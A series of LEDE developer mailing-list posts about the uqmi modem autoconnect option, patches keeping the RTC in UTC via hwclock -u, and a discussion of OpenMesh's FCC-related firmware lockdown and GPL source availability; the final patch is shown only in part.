Matti Laakso [2016-12-09 10:23:24]: > I don't think that the autoconnect setting is "transferred" to the > network, rather it could be tied to a specific call profile index, which > has the wrong APN. If your Slovakian SIM card has several predefined > profiles, this could be the case. If your modem exposes a virtual serial > port which accepts AT-commands, you could use AT+CGDCONT? to check. Thanks for the additional hints. Details about my modem: ATI Quectel EC20 Revision: EC20EQAR02A05E2G I knew, that there's only one profile defined, operator has deleted all other profiles, there's currently only one APN defined. AT+CGDCONT? +CGDCONT: 1,"IPV4V6","","0.0.0.0",0,0 > I agree fully. That's why I added the autoconnect option in my last > patch and defaulted it to disabled. Great, I've missed this patch. Going to take a look at it. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] uqmi: re-enable autoconnect which was dropped without explanation
Hi Felix,
just a small ping :)
> On Petr Štetiar [2016-10-21 11:06:03]:
> > Felix Fietkau [2016-10-20 12:09:36]:
>
> > On 2016-10-19 23:49, Petr Štetiar wrote:
> > >
> > > How to fix it for both use cases, with and without autoconnect feature?
> > > Introduce qmi_autoconnect config option?
> >
> > I think we probably need to introduce such an option as a temporary
> > measure.
>
> Ok, I'll do this. Is this variable name fine?
should I just send the patch with qmi_autoconnect variable name?
> > The problem with not using autoconnect is that once the link is gone for a
> > while, the link will be torn down and not re-established anymore. To deal
> > with that properly, we need some code to monitor the link and try to
> > re-establish the connection when it's gone.
>
> Even when enabled and usable, this autoconnect feature is as reliable as the
> modem firmware is. I'm seeing a lot of problems with such modems(freezing,
> unable to connect) and I generally do not trust them so I use some additional
> checking via my custom wan-connection-keeper daemon/script which runs
> following
> check in periodic intervals:
>
> check_connection() {
> local check_timeout=$(uci -q get
> wan-connection-keeper.core.check_timeout)
> local uci_check_url=$(uci -q get
> wan-connection-keeper.core.uci_check_url)
> local url=$(uci -q get $uci_check_url)
... snip ...
> echo oneshot > /sys/class/leds/reset-usb-hub2/trigger
> echo none > /sys/class/leds/reset-usb-hub2/trigger
... snip ...
> How to make it more generic as you propose. Move it inside netifd?
>
> config interface 'wan'
> option connection_check '/path/to/checkscript'
> option connection_check_interval 60
I can try to work on this one also. Thanks for your input.
-- ynezz
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.
Bjørn Mork [2016-12-08 16:11:18]: Hi, > I don't think we can trust the modem firmware with complex features like > autoconnect. There are too many things that can go wrong. And we don't have > any way to debug or fix any of those issues when they.happen inside the > modem firmware "black box". How do you tell the difference between > autoconnect failed due to wrong APN from autoconnect failed due to low > signal, for example? Yep, good points, thanks. > IMHO, we should depend on as few as possible of the most basic modem > firmware features. Any complex features like autoconnect can and should be > implemented as services running on the host, using those basic features as > building blocks. True. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.
Matti Laakso [2016-12-08 15:39:57]: Hi, > I don't like the autoconnect at all, it being so unpredictable across > various models. This autoconnect feature should burn in hell :-) The funny thing about this feature is, that the behaviour is network specific[1] also. I still can't find some time to dig more into this, like read the QMI docs etc., but I'm still wondering how this could be possible. Maybe this autoconnect setting is somehow transfered towards to the other end in network operator's infrastructure? Bjørn, any idea? :-) 1. http://lists.infradead.org/pipermail/lede-dev/2016-October/003653.html -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] FCC killing open platforms and inovations
Simon Wunderlich [2016-11-17 10:49:01]: Hi Simon, > No, firmware (at least in ath10k) doesn't solve the problem. You can still > set > a country code, DFS pattern matching is still done in the host-side driver > part (and not in the firmware), and you can still disable radar detection. please correct me if I'm mistaken, but you should be able to get ath10k firmware sources under NDA, at least Candela Technologies was able[1] to obtain it. Then you can just prepare locked down version of the firmware for US market, so you're not able to change country code, fiddle with DFS pattern matching or disable radar detection from host-side driver. I know, this is not robust solution either, someone can then swap the firmware blobs and have unlocked version again. But you can do this with U-Boot also, swap the locked down version with unlocked version if you really want to do this. To make it robust solution, WiFi chipsets would need to support uploading of signed images only. > In my personal opinion, binary blob firmware (at least as its used today) > just > creates more problems regarding open-ness that it could possibly solve. Well it's sad state of the things, but we're slowly getting used to have binary blobs in GSM modems, WiFi chipsets and in GPUs for example. But for me it's still far better to have one binary blob in the system(in WiFi for example), then completely crippled and locked down devices like we're seeing now with OpenMesh products. 1. http://www.candelatech.com/ath10k.php -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] FCC killing open platforms and inovations [Was: Re: [PATCH] ar71xx: Add usable, inactive LEDs on OpenMesh devices]
Simon Wunderlich [2016-11-15 11:51:54]: > Hey Petr, Hi! > We don't have any influence on the production decisions, though. sure, I'm not blaming any of you, I understand this, it's very hard :-) > But as Sven said, please contact customer support. I'm sure they will find a > solution for you. I'm not selfish, I've started wasting my time on this, so we've solution which works for everybody. But I'll try to ask customer support and share the outcome. > Well, we are. We can't change the fact that the devices need to be locked to > be sold in the US. You see, this is getting really crazy all this quick FCC workarounds... Imagine following situation. OpenMesh support will give me for example unlocked U-Boot bootloader for OM5P-AC or I'll pay someone to dissasemble it and patch it so U-Boot doesn't need any signed images at all, or we keep this security by obscurity in place and use it with just custom keys. Then anybody in the world, including US citizens can download it and unlock their devices. IANAL, it's still GPL licensed software, even in binary form, so I'm probably not going to break any law doing this. But law can be interpreted in many ways so just to be safe, I'm actually considering some help, probably via FSF. > But if you google a little, you will find a lot of patches for various Open > Source projects signed by @open-mesh.com mail addresses (LEDE, Linux, > hostapd, etc) Sure, I know! Exactly opposite, you're doing great work, I recognize the work of you, Sven, Antonio and Marek for example even without your @openmesh.com addresses. So I know, that developers like you are strong opensource minded people. We probably just need to change thinking of management people, the almost impossible task. I'm not interested in sources of OpenMesh's proprietary Cloudtrax stuff, I don't care about it. I just want to have an option to be able to rebuild the opensource parts so I can find & fix any potential problems very quickly. Few years ago it was possible to rebuild the firmware minus the proprietary stuff from dev.cloudtrax.com sources. It's not possible for a long time anymore. > FYI, the decryption stuff has been released now. It was considered too dirty > for upstream for a long time, but it was decided to at least provide the > patch > in public now for others to clean it up: > > https://patchwork.kernel.org/patch/9381651/ Great, thanks a lot everybody involved! > The other strings shouldn't be anything Open-Mesh specific, but maybe from a > different version (or patchset), as far as I can tell. Ok, so what's the problem with OpenMesh management people? :-) Why not just put all the sources online again? So I'm able to build firmware minus Cloudtrax proprietary bits without much hassle. Christmas is comming! :-) -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] FCC killing open platforms and inovations [Was: Re: [PATCH] ar71xx: Add usable, inactive LEDs on OpenMesh devices]
Sven Eckelmann [2016-11-15 09:32:18]: Hi, > I was told that OpenMesh is also shipping an already unlocked version of it in > regions which don't requires closed down versions. They called it > "(International Version)". quoting from Cloudtrax help portal[1]: "For international customers, please order part MR1750-INTL. Once current stock is depleted, the FCC version will be available globally." FYI, there is no -INTL version for OM5P-AC. FCC version means no unsigned images over ap51-flash. > But you can also try to get in contact with the customer support to get this > resolved. They should be able to find a solution for your problem when you > are in a region which doesn't require the FCC lockdown (but you still got > devices which were locked down). It's quite interesting article[1], reading it again now, quoting: "1. Custom firmware versions can no longer be loaded onto the device." and few lines down: "We're strong believers in open source software..." > If you found a GPL violation then please get in contact with OpenMesh support > to get it resolved. They were quite willingly in the past to provide the > source > code of the GPL portions of the firmware . Maybe your are just talking > about some formal problem - at least I cannot know about them because I never > received a retail/boxed version of their products. Ok, thanks for the hint. I'll try to ask for U-Boot and Linux kernel sources again. I hope, that this time they're not only "strong believers in open source", but that they actually know what that does it mean :-) For example here is my year old experience with with OpenMesh and GPL compliance. One of my clients had some issues with their mesh network and wanted me to fix it. I've looked at it and found some errors like this in the logs: ath: 21 decryption error for ac:86:74:xx:xx:xx - refreshing cache I wanted to know the cause of the error, so I've tried to find this error in the ath9k driver sources. I couldn't find it, so I've asked OpenMesh for sources of ath9k driver in firmware r585 and I got following reply: > This is the driver we're using: > https://dev.openwrt.org/changeset/43239/trunk/package/kernel/mac80211/patches/410-ath9k_allow_adhoc_and_ap.patch Which was nonsense, because just with simple strings method you can find following strings not available in the linked source code of the ath9k driver: /srv/autobuild/firmware-ng-ng5xx/openwrt-build/build_dir/target-mips_r2_uClibc-0.9.33.2/linux-ar71xx_generic/compat-wireless-2014-11-04/drivers/net/wireless/ath/ath9k/recv.c unsupported hw bitrate detected 0x%02x using 1 Mbit ath: %d decryption error for %pM - refreshing cache Reconfigure beacon timers based on synchronized timestamp Received DTIM beacon indicating buffered broadcast/multicast frame(s) PS wait for CAB frames timed out All PS CAB frames received, back to sleep Going back to sleep after having received PS-Poll data (0x%lx) As you can see, there's 'ath: %d decryption error for %pM - refreshing cache' error message which is not available in OpenWRT source code or anywhere else. 1. https://help.cloudtrax.com/hc/en-us/articles/210206213-Dual-band-changes-due-to-FCC-requirements Anyway, thanks a lot for your input and amazing work! -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] FCC killing open platforms and inovations [Was: Re: [PATCH] ar71xx: Add usable, inactive LEDs on OpenMesh devices]
Petr Štetiar [2016-11-14 14:24:48]: > The only sane way of fixing this is to dump the private keys out of the > U-Boot and patch the ap51-flash so the LEDE users are able to sign their own > LEDE or any other custom OS images and use the HW as they wish. I was corrected by someone who would like to remain anonymous off-list, that I'm probably not going to find private keys in the U-boot at all, which is probably correct, I don't know what I was thinking about while writting that email :-) This is bummer, as this finding probably means, that some soldering would always be needed to get unlocked device as I wasn't able to read out the EEPROM content while using the Pomona SOIC clip when the IC was still soldered on the board. But maybe I've done something wrong. So it's going to be a challenge to come up with some user friendly solution. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] FCC killing open platforms and inovations [Was: Re: [PATCH] ar71xx: Add usable, inactive LEDs on OpenMesh devices]
Hi Sven, first of all I would like to thank you and your colleagues for your great work and upstreaming of the support for all OpenMesh devices, opensourcing the ap51-flash utils etc. But on the other hand I'm wondering how should I upload my custom LEDE image to my recently purchased OM5P-AC device as the U-Boot there is locked down and accepts only signed OS images. I understand, that this is due to the recent wonderful FCC project called "killing inovations in the wireless space". Puting aside the GPL license violation of U-boot and kernel code which OpenMesh ships in the devices, we don't have much options left. The only sane way of fixing this is to dump the private keys out of the U-Boot and patch the ap51-flash so the LEDE users are able to sign their own LEDE or any other custom OS images and use the HW as they wish. Then to please FCC again, you'll probably introduce new HW revision, where you'll use some kind of crypto IC as key storage and we're at the same position as now. Waiting for someone to find a way around it. Instead of improving stuff around us, we'll concetrate on this mouse&cat games. OpenMesh makes great hardware, you guys make it work very well for us small tinkerers which are not able to produce and sell like 10k units/year, so we can't afford our own more open hardware. We even don't mind to pay little bit higher price as the HW is rock solid and looks good on the desk. Just my Monday rant. I understand, that you can't do much about it. It's not personal, just wanted to start some conversation about this topic :-) Thanks anyway for any response, even off-list. -- ynezz Sven Eckelmann [2016-11-11 16:12:36]: > From: Jaylin Yu > > OpenMesh devices have often LEDs which are not yet used by OpenWrt. These > should still be available as disabled LEDs in the system configuration for > easier modification. > > Signed-off-by: Jaylin Yu > [sven.eckelm...@open-mesh.com: Remove LEDs already specified via diag.sh, > add wifi/status LEDs] > Signed-off-by: Sven Eckelmann ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH v3] base-files: sysfixtime: Keep RTC time in UTC timezone
We need to tell hwclock with -u commandline option, that we would like
to keep our RTC clock in UTC timezone. Linux kernel expects RTC in UTC
timezone anyway.
In current state of things, we don't tell hwclock to load/store time
from/to RTC in UTC timezone so it uses the timezone from the system
time. If it's set to different timezone then UTC, sysfixtime is going to
screw the time in RTC.
I've following in the setup script:
uci set system.@system[0].timezone='CET-1CEST,M3.5.0,M10.5.0/3'
uci set system.@system[0].zonename='Europe/Prague'
I've this RTC setup (rtc1 is RTC on i.MX6 SoC, rtc0 is battery backed RTC
mcp7941x):
rtc-ds1307 3-006f: rtc core: registered mcp7941x as rtc0
snvs_rtc 20cc000.snvs:snvs-rtc-lp: rtc core: registered 20cc000.snvs:snvs-r
as rtc1
Then we can experience following (current time is 10:15am):
$ date
Fri Oct 21 10:15:07 CEST 2016
$ hwclock -r -f /dev/rtc0
Fri Oct 21 08:14:46 2016 0.00 seconds
$ hwclock -u -r -f /dev/rtc0
Fri Oct 21 10:14:46 2016 0.00 seconds
And after current broken sysfixtime:
$ /etc/init.d/sysfixtime stop
$ date
Fri Oct 21 10:15:25 CEST 2016
$ hwclock -r -f /dev/rtc0
Fri Oct 21 10:15:31 2016 0.00 seconds
Now we've time in our battery backed RTC in CEST timezone instead of
UTC. Then once again, but with this patch applied to sysfixtime, where
hwclock is using correctly the -u parameter:
$ /etc/init.d/sysfixtime stop
$ date
Fri Oct 21 10:15:53 CEST 2016
$ hwclock -r -f /dev/rtc0
Fri Oct 21 08:15:55 2016 0.00 seconds
Signed-off-by: Petr Štetiar
---
Changes since v1:
* improved commit message
* enable rtc_utc=1 in system uci file by default (RTC is kept in UTC)
Changes since v2:
* dropped all the config option bloat, it's not needed, RTC in Linux is kept
in UTC.
package/base-files/files/etc/init.d/sysfixtime | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/package/base-files/files/etc/init.d/sysfixtime
b/package/base-files/files/etc/init.d/sysfixtime
index 81d1c52..aab5b15 100755
--- a/package/base-files/files/etc/init.d/sysfixtime
+++ b/package/base-files/files/etc/init.d/sysfixtime
@@ -16,11 +16,11 @@ boot() {
}
start() {
- [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -s -f $RTC_DEV
+ [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -s -u -f $RTC_DEV
}
stop() {
- [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -w -f $RTC_DEV && \
+ [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -w -u -f $RTC_DEV &&
\
logger -t sysfixtime "saved '$(date)' to $RTC_DEV"
}
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH v2] base-files: sysfixtime: Keep RTC time in UTC by default
We need to tell hwclock with -u commandline option, that we would like to keep
our RTC clock in UTC timezone. Linux kernel expects RTC in UTC timezone anyway.
In current state of things, we don't tell hwclock to load/store time from/to
RTC in UTC timezone so it uses the timezone from the system time. If it's set
to different timezone then UTC, sysfixtime is going to screw the time in RTC.
I've following in the setup script:
uci set system.@system[0].timezone='CET-1CEST,M3.5.0,M10.5.0/3'
uci set system.@system[0].zonename='Europe/Prague'
I've this RTC setup (rtc1 is RTC on i.MX6 SoC, rtc0 is battery backed RTC
mcp7941x):
rtc-ds1307 3-006f: rtc core: registered mcp7941x as rtc0
snvs_rtc 20cc000.snvs:snvs-rtc-lp: rtc core: registered 20cc000.snvs:snvs-r
as rtc1
Then we can experience following (current time is 10:15am):
$ date
Fri Oct 21 10:15:07 CEST 2016
$ hwclock -r -f /dev/rtc0
Fri Oct 21 08:14:46 2016 0.00 seconds
$ hwclock -u -r -f /dev/rtc0
Fri Oct 21 10:14:46 2016 0.00 seconds
And after current broken sysfixtime:
$ /etc/init.d/sysfixtime stop
$ date
Fri Oct 21 10:15:25 CEST 2016
$ hwclock -r -f /dev/rtc0
Fri Oct 21 10:15:31 2016 0.00 seconds
Now we've time in our battery backed RTC in CEST timezone instead of UTC. Then
once again, but with this patch applied to sysfixtime, where hwclock is using
correctly the -u parameter:
$ /etc/init.d/sysfixtime stop
$ date
Fri Oct 21 10:15:53 CEST 2016
$ hwclock -r -f /dev/rtc0
Fri Oct 21 08:15:55 2016 0.00 seconds
Signed-off-by: Petr Štetiar
---
Changes since v1:
* improved commit message
* enable rtc_utc=1 in system uci file by default (RTC is kept in UTC)
package/base-files/files/etc/init.d/sysfixtime | 26 --
1 file changed, 24 insertions(+), 2 deletions(-)
diff --git a/package/base-files/files/etc/init.d/sysfixtime
b/package/base-files/files/etc/init.d/sysfixtime
index 81d1c52..7dbaa50 100755
--- a/package/base-files/files/etc/init.d/sysfixtime
+++ b/package/base-files/files/etc/init.d/sysfixtime
@@ -6,6 +6,28 @@ STOP=90
RTC_DEV=/dev/rtc0
HWCLOCK=/sbin/hwclock
+IN_UTC=''
+
+. /lib/functions/procd.sh
+
+validate_system_section() {
+ uci_validate_section system system "${1}" \
+ 'rtc_utc:bool:1'
+}
+
+rtc_config() {
+ local rtc_utc
+
+ validate_system_section "${1}" || {
+ echo "validation failed"
+ return 1
+ }
+
+ [ $rtc_utc = 1 ] && IN_UTC='-u'
+}
+
+config_load system
+config_foreach rtc_config system
boot() {
start && exit 0
@@ -16,11 +38,11 @@ boot() {
}
start() {
- [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -s -f $RTC_DEV
+ [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -s $IN_UTC -f
$RTC_DEV
}
stop() {
- [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -w -f $RTC_DEV && \
+ [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -w $IN_UTC -f
$RTC_DEV && \
logger -t sysfixtime "saved '$(date)' to $RTC_DEV"
}
--
1.9.1
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] uqmi: re-enable autoconnect which was dropped without explanation
Hi Felix,
it seems like that this autoconnect feature is causing some regressions and a
headaches to few people :-) I'm talking about this commit in particular:
Author: Felix Fietkau
Date: Thu Sep 22 20:07:45 2016 +0200
uqmi: re-enable autoconnect which was dropped without explanation
Fixes a regression in commit 8f24ee638275:
"uqmi: Add proper IPv6 support"
I'm using Quectel EC20 miniPCIe modem mainly in Slovakia and Czech Republic.
Till now, without autoconnect enabled it was working fine in both networks, but
now after this change has been pulled into my device I'm no more able to
initiate the connection in Slovakia:
netifd: wan (1681): Waiting for network registration
netifd: wan (1681): Starting network internet
netifd: wan (1681): Unable to connect IPv4
netifd: wan (1681): Unable to connect
To get it working again, I've to just remove autoconnect from start-network
command:
--- a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
+++ b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
@@ -112,8 +112,7 @@ proto_qmi_setup() {
${auth:+--auth-type $auth} \
${username:+--username $username} \
${password:+--password $password} \
- --ip-family ipv4 \
- --autoconnect`
+ --ip-family ipv4`
To me it seems like this autoconnect option is being propagated throught the
network and the network operator could refuse connection with this option. I
don't have any other logical explanation.
How to fix it for both use cases, with and without autoconnect feature?
Introduce qmi_autoconnect config option?
Someone likely affected also[1].
Thanks.
1. https://bugs.lede-project.org/index.php?do=details&task_id=148
-- ynezz
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] uqmi: re-enable autoconnect which was dropped without explanation
Felix Fietkau [2016-10-20 12:09:36]:
> On 2016-10-19 23:49, Petr Štetiar wrote:
> >
> > How to fix it for both use cases, with and without autoconnect feature?
> > Introduce qmi_autoconnect config option?
>
> I think we probably need to introduce such an option as a temporary
> measure.
Ok, I'll do this. Is this variable name fine?
> The problem with not using autoconnect is that once the link is gone for a
> while, the link will be torn down and not re-established anymore. To deal
> with that properly, we need some code to monitor the link and try to
> re-establish the connection when it's gone.
Even when enabled and usable, this autoconnect feature is as reliable as the
modem firmware is. I'm seeing a lot of problems with such modems(freezing,
unable to connect) and I generally do not trust them so I use some additional
checking via my custom wan-connection-keeper daemon/script which runs following
check in periodic intervals:
check_connection() {
local wan_iface=$(uci -q get
wan-connection-keeper.core.wan_interface)
local check_timeout=$(uci -q get
wan-connection-keeper.core.check_timeout)
local uci_check_url=$(uci -q get
wan-connection-keeper.core.uci_check_url)
local url=$(uci -q get $uci_check_url)
[ -z "$url" ] && {
log_dbg "ERROR, check URL is empty"
return 1
}
[ -z "$wan_iface" ] && {
log_dbg "ERROR, WAN interface is empty"
return 1
}
[ -z $check_timeout ] && check_timeout=5
log_dbg "Checking URL: $url timeout: $check_timeout"
curl -s -m$check_timeout -H "User-Agent: $NAME v$VERSION" $url>
/dev/null && {
log_dbg "Connection check OK!"
return 1
}
log_dbg "ERROR, connection failed, restarting $wan_iface"
echo oneshot > /sys/class/leds/reset-usb-hub2/trigger
echo none > /sys/class/leds/reset-usb-hub2/trigger
ifdown $wan_iface
ubus call network.interface.$wan_iface remove
pkill -9 uqmi
sleep 5
ifup $wan_iface
/etc/init.d/ugps restart # TODO: move somewhere else
return 0
}
How to make it more generic as you propose. Move it inside netifd?
config interface 'wan'
option connection_check '/path/to/checkscript'
option connection_check_interval 60
-- ynezz
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH] base-files: sysfixtime: Allow system time in local timezones
Daniel Dickinson [2016-10-20 16:47:09]: > On Wed, 19 Oct 2016 22:05:43 +0200 > Petr Štetiar wrote: > > > Felix Fietkau [2016-10-19 21:44:06]: > > > > > I'd like to know why you need to use local time for the RTC, I think > > > that's rather uncommon. > > > > You mean system time in local time, right? RTC should be in UTC and > > in current sysftime isn't. Basically sysfixtime should be using > > hwclock with -u parameter from the same beginning as the kernel > > doesn't expect time in RTC to be in other timezone. > > > > Believe it or not, I've some users which are used to have system time > > on their desktop Linux machines in local timezone and they expect the > > same from the Linux on embedded devices. It's hard, I know :-) > > Have you ever looked at UCI config for /etc/config/system? There is > the option to set the system timezone there. No need to hack hwclock. I know, that I can't write meaningful commit messages, sorry for that. I'll try to explain it again. Please take a look at hwclock, you've to tell it via -u command line option, that your RTC is keeping time in UTC, otherwise it will happily use whatever time your system uses and your time is screwed (no time conversion happens). I've following in the setup script: uci set system.@system[0].timezone='CET-1CEST,M3.5.0,M10.5.0/3' uci set system.@system[0].zonename='Europe/Prague' I've this RTC setup: rtc-ds1307 3-006f: rtc core: registered mcp7941x as rtc0 snvs_rtc 20cc000.snvs:snvs-rtc-lp: rtc core: registered 20cc000.snvs:snvs-r as rtc1 Then you can experience following (current time is 10:15am): $ date Fri Oct 21 10:15:07 CEST 2016 $ hwclock -r -f /dev/rtc0 Fri Oct 21 08:14:46 2016 0.00 seconds $ hwclock -u -r -f /dev/rtc0 Fri Oct 21 10:14:46 2016 0.00 seconds And after current borken sysfixtime: $ /etc/init.d/sysfixtime stop $ date Fri Oct 21 10:15:25 CEST 2016 $ hwclock -r -f /dev/rtc0 Fri Oct 21 10:15:31 2016 0.00 seconds Now you've time in your battery backed RTC in CEST timezone instead of UTC. Is the problem more clear now? Again, wbut ith my patched sysfixtime, using hwclock -u parameter: $ /etc/init.d/sysfixtime stop $ date Fri Oct 21 10:15:53 CEST 2016 $ hwclock -r -f /dev/rtc0 Fri Oct 21 08:15:55 2016 0.00 seconds -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH] base-files: sysfixtime: Allow system time in local timezones
Daniel Dickinson [2016-10-20 16:49:48]:
Hi,
> I don't see wanting an embedded system to be like a desktop to be a
> reasonable justification.
we're talking here about quadcore i.MX6, 2GB RAM and Vivante GPU. It's usable
as embedded desktop I would say.
> It doesn't serve any useful purpose that I can see.
As you can see, some people have different use cases.
> Also with there is daylight savings then when daylight savings kicks in
> you've got to change the clock which is *ugly* and waste of resources on an
> embedded device.
I've been using CEST timezone for system time (battery backed RTC in UTC) in
some OpenWRT based projects since 2014. I'm not aware about any of such
problems and you of course doesn't need to change the clock. It's done
automagically for you.
commit 215c43acc5803e82e249458e9093dba62882ff5d
Author: Petr Štetiar
Date: Tue May 27 15:58:40 2014 +0200
base-files: Add hwclock init script
Signed-off-by: Petr Štetiar
diff --git a/package/base-files/files/etc/init.d/hwclock
b/package/base-files/files/etc/init.d/hwclock
new file mode 100755
index 000..07eef7e
--- /dev/null
+++ b/package/base-files/files/etc/init.d/hwclock
@@ -0,0 +1,15 @@
+#!/bin/sh /etc/rc.common
+
+START=13
+
+start() {
+ if [ -c /dev/rtc0 ]; then
+ hwclock -u -s -f /dev/rtc0
+ fi
+}
+
+stop() {
+ if [ -c /dev/rtc0 ] ; then
+ hwclock -u -w -f /dev/rtc0
+ fi
+}
-- ynezz
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH] base-files: sysfixtime: Allow system time in local timezones
Felix Fietkau [2016-10-19 21:44:06]: > I'd like to know why you need to use local time for the RTC, I think > that's rather uncommon. You mean system time in local time, right? RTC should be in UTC and in current sysftime isn't. Basically sysfixtime should be using hwclock with -u parameter from the same beginning as the kernel doesn't expect time in RTC to be in other timezone. Believe it or not, I've some users which are used to have system time on their desktop Linux machines in local timezone and they expect the same from the Linux on embedded devices. It's hard, I know :-) -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
Re: [LEDE-DEV] [PATCH] base-files: sysfixtime: Allow system time in local timezones
Felix Fietkau [2016-10-18 23:25:40]: > On 2016-10-18 23:11, Petr Štetiar wrote: > > Currently we're forced to have system time in the UTC timezone as > > hardware clock, mainly because kernel expects in rtc_hctosys(), that RTC > > time is held in UTC timezone. > > > > With this patch one can now have local system time for example in CEST > > timezone and RTC time still in UTC with boolean config option `rtc_utc`. > > > Why? Would this be a better commit message? I'm using devices which have battery backed RTC. Sometime I need to use local timezone for system time as for example CEST(UTC+2) timezone. The problem is, that as soon as I enable CEST timezone for system time, the battery backed RTC clock gets screwed with every graceful reboot as the sysfixtime script writes system time to RTC in system's CEST timezone instead in UTC. Linux kernel on next reboot expects time from RTC to be in UTC, but the time is there already in CEST resulting in screwed clock. -- ynezz ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH] imx6: Add ds1307 RTC to kernel for working hctosys
Otherwise if we use ds1307 as kernel module, hctosys fails as ds1307 is being initialized later then hctosys: [2.427349] hctosys: unable to open rtc device (rtc0) [3.714263] snvs_rtc 20cc000.snvs:snvs-rtc-lp: rtc core: registered 20cc000.snvs:snvs-r as rtc1 [8.990061] rtc-ds1307 3-006f: rtc core: registered mcp7941x as rtc0 Signed-off-by: Petr Štetiar --- target/linux/imx6/config-4.4 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/target/linux/imx6/config-4.4 b/target/linux/imx6/config-4.4 index f749f9e..e7b020b 100644 --- a/target/linux/imx6/config-4.4 +++ b/target/linux/imx6/config-4.4 @@ -163,6 +163,7 @@ CONFIG_GENERIC_STRNLEN_USER=y # CONFIG_GIANFAR is not set CONFIG_GLOB=y CONFIG_GPIOLIB=y +CONFIG_GPIOLIB_IRQCHIP=y CONFIG_GPIO_DEVRES=y CONFIG_GPIO_GENERIC=y CONFIG_GPIO_MXC=y @@ -352,6 +353,7 @@ CONFIG_REGULATOR_PFUZE100=y CONFIG_RFS_ACCEL=y CONFIG_RPS=y CONFIG_RTC_CLASS=y +CONFIG_RTC_DRV_DS1307=y # CONFIG_RTC_DRV_IMXDI is not set # CONFIG_RTC_DRV_MXC is not set CONFIG_RWSEM_SPIN_ON_OWNER=y -- 1.9.1 ___ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev
[LEDE-DEV] [PATCH] base-files: sysfixtime: Allow system time in local timezones
Currently we're forced to have system time in the UTC timezone as
hardware clock, mainly because kernel expects in rtc_hctosys(), that RTC
time is held in UTC timezone.
With this patch one can now have local system time for example in CEST
timezone and RTC time still in UTC with boolean config option `rtc_utc`.
Signed-off-by: Petr Štetiar
---
package/base-files/files/etc/init.d/sysfixtime | 26 --
1 file changed, 24 insertions(+), 2 deletions(-)
diff --git a/package/base-files/files/etc/init.d/sysfixtime
b/package/base-files/files/etc/init.d/sysfixtime
index 81d1c52..83e1397 100755
--- a/package/base-files/files/etc/init.d/sysfixtime
+++ b/package/base-files/files/etc/init.d/sysfixtime
@@ -6,6 +6,28 @@ STOP=90
RTC_DEV=/dev/rtc0
HWCLOCK=/sbin/hwclock
+IN_UTC=''
+
+. /lib/functions/procd.sh
+
+validate_system_section() {
+ uci_validate_section system system "${1}" \
+ 'rtc_utc:bool:0'
+}
+
+rtc_config() {
+ local rtc_utc
+
+ validate_system_section "${1}" || {
+ echo "validation failed"
+ return 1
+ }
+
+ [ $rtc_utc = 1 ] && IN_UTC='-u'
+}
+
+config_load system
+config_foreach rtc_config system
boot() {
start && exit 0
@@ -16,11 +38,11 @@ boot() {
}
start() {
- [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -s -f $RTC_DEV
+ [ -e "$RTC_DEV" ] && [ -e "$HWCLOCK" ] && $HWCLOCK -s $IN_UTC -f
$RTC_DEV
}
stop() {
